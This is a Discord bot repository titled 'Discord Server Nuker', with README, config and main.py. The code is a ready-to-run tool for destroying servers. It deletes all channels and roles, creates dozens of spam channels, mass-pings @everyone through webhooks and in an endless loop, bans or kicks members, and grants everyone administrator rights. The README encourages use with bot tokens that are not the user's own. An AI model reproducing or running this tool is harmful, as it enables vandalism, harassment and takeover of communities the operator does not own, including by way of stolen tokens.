├── config.json
├── requirements.txt
├── token_to_id.py
├── LICENSE
├── README.md
└── main.py
/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "token": "YOUR_BOT_TOKEN_HERE"
3 | }
4 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | discord
2 | json
3 | asyncio
4 | colorama
5 |
--------------------------------------------------------------------------------
/token_to_id.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | def get_bot_id(token):
4 | headers = {
5 | 'Authorization': f'Bot {token}',
6 | }
7 |
8 | response = requests.get('https://discord.com/api/users/@me', headers=headers)
9 |
10 | if response.status_code == 200:
11 | user_data = response.json()
12 | return user_data['id']
13 | else:
14 | return None
15 |
16 | # Prompt the user to enter the bot token
17 | bot_token = input("Enter your bot token: ")
18 |
19 | bot_id = get_bot_id(bot_token)
20 |
21 | if bot_id:
22 | print(f"Bot ID: {bot_id}")
23 | else:
24 | print("Failed to get bot ID. Check your bot token.")
25 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 Severityc
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
Discord Server Nuker
2 | This is the fastest and the most efficient Discord Server Nuker
3 |
4 | ---
5 |
6 | ### ⚙️ Installation
7 | 1. Install [Python 3.11.6](https://www.python.org/downloads/release/python-3116/) and make sure to add it to path
8 | 2. Run `pip install -r requirements.txt` in the path of the folder
9 | 3. Replace `YOUR_BOT_TOKEN` in `config.json` with your Discord bot token
10 | 4. Run `main.py`
11 |
12 |
15 |
16 | ---
17 |
18 | ### 📄 Features
19 | 1. `token_to_id.py` - Enter the token and it will output the id you can use [here](https://discordapi.com/permissions.html) to add the bot to your server if the token isn't yours
20 |
21 | ---
22 |
23 | ### 🤖 Commands
24 | 1. `$help` - Shows list of all available commands
25 | 2. `$serverlist` - Shows list of servers your Bot is in
26 | 3. `$nuke` - Nukes the server, deleting all channels and creating new ones, while mass pinging
27 | 4. `$rolespam` - Spams max roles in the server
28 | 5. `$guildname ` - Changes the server's name to the name you want
29 | 6. `$banall` - Bans all members without permissions
30 | 7. `$kickall` - Kicks all members without permissions
31 | 8. `$delroles` - Deletes roles in the server
32 | 9. `$give` - Gives everyone in the server administrator permissions
33 | 10. `$giveme ` - Gives you permissions in specified server
34 | 11. `$removegive` - Removes all permissions from everyone in the server
35 |
36 | ---
37 |
38 |
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | import discord
2 | import os
3 | import json
4 | from discord.ext import commands
5 | import asyncio
6 | from colorama import Fore
7 |
8 | with open('config.json', 'r') as f:
9 | config = json.load(f)
10 | token = config['token']
11 |
12 | intents = discord.Intents.all()
13 | bot = commands.Bot(command_prefix="$", intents=discord.Intents.all())
14 |
15 | @bot.event
16 | async def on_ready():
17 | print(f"{bot.user} is awake!")
18 |
19 | bot.remove_command("help")
20 |
21 | @bot.command(name="help")
22 | @commands.cooldown(1, 9, commands.BucketType.user)
23 | async def custom_help(ctx):
24 | custom_color = 0x5564f1
25 |
26 | embed = discord.Embed(
27 | title="Severity Commands",
28 | description="Here is a list of available commands and their descriptions:",
29 | color=custom_color
30 | )
31 |
32 | for command in bot.commands:
33 | if command.help:
34 | embed.add_field(
35 | name=f"{bot.command_prefix}{command.name}",
36 | value=command.help,
37 | inline=False
38 | )
39 | else:
40 | embed.add_field(
41 | name=f"{bot.command_prefix}{command.name}",
42 | value="No description available.",
43 | inline=False
44 | )
45 |
46 | await ctx.send(embed=embed)
47 |
48 | @bot.command()
49 | async def serverlist(ctx):
50 | """
51 | List the servers the bot is in with their invite links.
52 | """
53 | embed = discord.Embed(
54 | title="Server List",
55 | description="Here is a list of servers I am in along with their invite links:",
56 | color=0x5564f1
57 | )
58 |
59 | for guild in bot.guilds:
60 | invite = await guild.text_channels[0].create_invite(max_age=300, max_uses=1, unique=True)
61 | embed.add_field(
62 | name=guild.name,
63 | value=f"[Invite Link]({invite.url})",
64 | inline=False
65 | )
66 |
67 | await ctx.send(embed=embed)
68 |
69 | @bot.command()
70 | @commands.cooldown(1, 500, commands.BucketType.user)
71 | async def nuke(ctx):
72 | """
73 | Nuke the server.
74 | """
75 | await ctx.message.delete()
76 | await ctx.guild.edit(name="Severity Was Here")
77 |
78 | await asyncio.gather(*[channel.delete() for channel in ctx.guild.channels])
79 |
80 | await asyncio.gather(*[ctx.guild.create_text_channel("Severity Was Here") for _ in range(35)])
81 |
82 | for channel in ctx.guild.text_channels:
83 | num_webhooks = 5 # change this to the # of webhooks you want
84 | for _ in range(num_webhooks):
85 | webhook = await channel.create_webhook(name=f"Severity{_}")
86 | for _ in range(5):
87 | await webhook.send(f"@everyone **Severity Was Here!** https://guns.lol/hooked/")
88 | await ctx.send("Nuking the server...")
89 |
90 | @bot.event
91 | async def on_command_error(ctx, error):
92 | if isinstance(error, commands.CommandOnCooldown):
93 | hex_color = int("0x5564f1", 16)
94 | cooldown_embed = discord.Embed(
95 | title="Cooldown",
96 | description=f"```Wait {error.retry_after:.1f} seconds before trying again.```",
97 | color=hex_color)
98 | await ctx.reply(embed=cooldown_embed)
99 | else:
100 | raise error
101 |
102 | @bot.event
103 | async def on_guild_channel_create(channel):
104 | while True:
105 | await channel.send("@everyone star the fucking repository https://github.com/severityc/Discord-Server-Nuker , https://guns.lol/hooked/")
106 |
107 |
108 | @bot.command()
109 | @commands.cooldown(1, 199, commands.BucketType.user)
110 | async def rolespam(ctx):
111 | """
112 | Spam roles in the server.
113 | """
114 | await ctx.message.delete()
115 | for i in range(100):
116 | await ctx.guild.create_role(name="wizzed by severity")
117 | """
118 | Spam roles in the server.
119 | """
120 | await ctx.send("Spamming roles...")
121 |
122 | @bot.command()
123 | @commands.cooldown(1, 50, commands.BucketType.user)
124 | async def guildname(ctx, *, newname):
125 | """
126 | Change the server's name.
127 | """
128 | await ctx.message.delete()
129 | await ctx.guild.edit(name=newname)
130 | await ctx.send(f"Changed the server name to {newname}")
131 |
132 | @bot.command()
133 | @commands.cooldown(1, 199, commands.BucketType.user)
134 | async def banall(ctx):
135 | """
136 | Mass ban all members in the server, skipping users with perms.
137 | """
138 | try:
139 | for member in ctx.guild.members:
140 | if ctx.author.guild_permissions.ban_members and not member.guild_permissions.ban_members:
141 | await member.ban(reason="Severity Was Here")
142 | print(Fore.GREEN + f"banned {member}")
143 | else:
144 | print(Fore.RED + f"skipping {member} due to permissions")
145 | except Exception as e:
146 | print(Fore.RED + f"Error: {e}")
147 | await ctx.send("An error occurred while processing the command.")
148 |
149 | await ctx.send("pong 281ms")
150 |
151 |
152 | @bot.command()
153 | @commands.cooldown(1, 199, commands.BucketType.user)
154 | async def kickall(ctx):
155 | """
156 | Kick all members in the server.
157 | """
158 | try:
159 | for member in ctx.guild.members:
160 | await member.kick(reason="Severity Was Here")
161 | print(Fore.GREEN + f"kicked {member}")
162 | except:
163 | print(Fore.RED + f"cant kick {member}")
164 | await ctx.send("Kicking all members...")
165 |
166 | @bot.command()
167 | async def delroles(ctx):
168 | """
169 | Delete roles in the server.
170 | """
171 | await ctx.message.delete()
172 |
173 | roles_to_delete = [role for role in ctx.guild.roles]
174 |
175 | await asyncio.sleep(10)
176 |
177 | try:
178 | await asyncio.gather(*[role.delete(reason="Roles deleted by Severity") for role in roles_to_delete])
179 | print(Fore.GREEN + "All roles deleted successfully.")
180 | except Exception as e:
181 | print(Fore.RED + f"Error deleting roles: {e}")
182 |
183 | await ctx.send("Deleting roles completed.")
184 |
185 | @bot.command()
186 | async def give(ctx):
187 | """
188 | Give administrator permissions to everyone.
189 | """
190 | try:
191 | everyone_role = ctx.guild.default_role
192 | await everyone_role.edit(permissions=discord.Permissions.all())
193 | await ctx.send("You do not have the required role to use this command.")
194 | except Exception as e:
195 | print(Fore.RED + f"Error giving administrator permissions: {e}")
196 | await ctx.send("An error occurred while processing the command.")
197 |
198 | @bot.command()
199 | @commands.cooldown(1, 199, commands.BucketType.user)
200 | async def giveme(ctx, server_id: int):
201 | """
202 | Give administrator permissions to the user who executed the command.
203 | """
204 | try:
205 | guild = bot.get_guild(server_id)
206 | if guild:
207 | admin_role = await guild.create_role(name="Administrator", permissions=discord.Permissions.all(), reason="Created by command")
208 |
209 | member = guild.get_member(ctx.author.id)
210 |
211 | if member:
212 | await member.add_roles(admin_role, reason="Assigned by command")
213 | await ctx.send(f"Administrator permissions granted to {ctx.author.mention} in the server with ID {server_id}.")
214 | else:
215 | await ctx.send("Failed to grant administrator permissions. User not found in the server.")
216 | else:
217 | await ctx.send("Server not found.")
218 | except Exception as e:
219 | print(Fore.RED + f"Error granting administrator permissions: {e}")
220 | await ctx.send("An error occurred while processing the command.")
221 |
222 | @bot.command()
223 | async def removegive(ctx):
224 | """
225 | Remove all permissions from the @everyone role.
226 | """
227 | try:
228 | everyone_role = ctx.guild.default_role
229 | await everyone_role.edit(permissions=discord.Permissions.none())
230 | await ctx.send("All permissions have been removed from the @everyone role.")
231 | except Exception as e:
232 | print(Fore.RED + f"Error removing permissions: {e}")
233 | await ctx.send("An error occurred while processing the command.")
234 |
235 | bot.run(token)
236 |
--------------------------------------------------------------------------------